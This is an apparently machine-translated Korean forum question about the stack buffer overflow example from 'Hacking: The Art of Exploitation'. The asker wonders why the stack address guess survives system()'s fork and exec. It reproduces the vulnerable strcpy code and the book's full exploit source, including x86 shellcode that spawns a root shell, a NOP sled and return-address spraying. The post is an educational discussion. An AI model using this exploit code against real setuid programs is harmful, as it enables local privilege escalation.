나는이 책을 읽었습니다. Art of Exploitation을 읽었습니다.이 책은 다소 좋은 책이며 exploit_notesearch.c 파일에서이 예제를 실행합니다.Exploitation book의 아트에서 버퍼 오버플로 예
간단히 저자는 메인 함수의 인수는 검색 문장 배열에 복사
int main(int argc, char *argv[]) {
int userid, printing=1, fd;
char searchstring[100];
if(argc > 1) // If there is an arg
strcpy(searchstring, argv[1]);
else // otherwise,
searchstring[0] = 0;
notesearch.c에서 프로그램을 오버플로 인수가 100 바이트보다 큰 경우는의 반환 주소를 오버플로 시도 주요 기능.
저자는 exploit_notesearch.c에 쉘 코드를 준비하고 당신은 그 쉘 코드가 NOP 썰매와 결합 참조하고 NOP 썰매를 표시해야한다 주소를 반환 할 수 있습니다
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200);
strcpy(command, "./notesearch \'");
buffer = command + strlen(command);
ret = (unsigned int) &i - offset; // Set return address
for(i=0; i < 160; i+=4) // Fill buffer with return address
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // Build NOP sled
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); //run exploit
}
취약 notesearch.c 호출합니다. 저자는 지역 변수 i의 주소를 참조 점으로 사용하고 270 바이트를 빼서 NOP 슬 레드의 대략적인 위치를 계산합니다.
필자는 취약한 notesearch.c의 main 함수의 스택 프레임이 exploit_notesearch.c의 main 함수의 스택 프레임과 동일한 스택 세그먼트에 있다고 가정합니다. 로컬 변수의 주소를 가지고이 조작 만하면됩니다.
그러나 저자는이 시스템 (명령)과 같이 system()의 도움으로 취약한 notesearch.c를 호출합니다. 나의 요점은이 함수 시스템()이 fork()를 사용하여 자식 프로세스를 생성 한 후 exec() 함수를 사용하여 프로세스의 이미지를 변경한다는 것입니다. 하지만 이미지가 변경되면 스택 세그먼트가 신선 해지고 exploit_notesearch.c의 주 기능에있는 로컬 변수 i의 주소를 가진 모든 조작이 쓸모 없게되지만 어떻게 든이 악용은 완전히 혼란 스럽습니다.
는
Niklas가 대답 해 주셔서 감사합니다. –
Niklas가 대답 해 주셔서 감사합니다. 그것은 자식 프로세스가 parrent 프로세스의 esp에 저장된 값을 사용할 부모 프로세스와 자식 프로세스 사이의 운영 체제 가상 메모리 할당의 특수한 속성입니까? 저자가 270 바이트를 빼면 취약한 하위 프로세스의 가상 주소가 스택 세그먼트에서 더 낮을 것이라고 가정합니다. 예를 들어, 상위 프로세스가 자신의 작업을 수행하고 최대 0hffff4534의 스택 세그먼트에서 주소를 사용 했으므로 하위 프로세스가 해당 가상 주소에서 계속 진행할 것입니까? 그렇지 않은 경우,이를 설명 할 수있는 좋은 매뉴얼이나 튜토리얼이 있습니까? 미리 감사드립니다. –
제가 잘못하면 pls를 바로 잡을 수 있습니까? 두 프로세스가 스택 세그먼트에 대해 동일한 가상 주소를 할당하기 때문에 가능하지만, 취약한 주 기능이 로컬 변수에 많은 바이트를 할당해야하기 때문에이 공격이 가능하다는 것을 알고 있습니다. searchstring은 스택에서 더 낮을 것이라고 가정 할 수 있습니다. –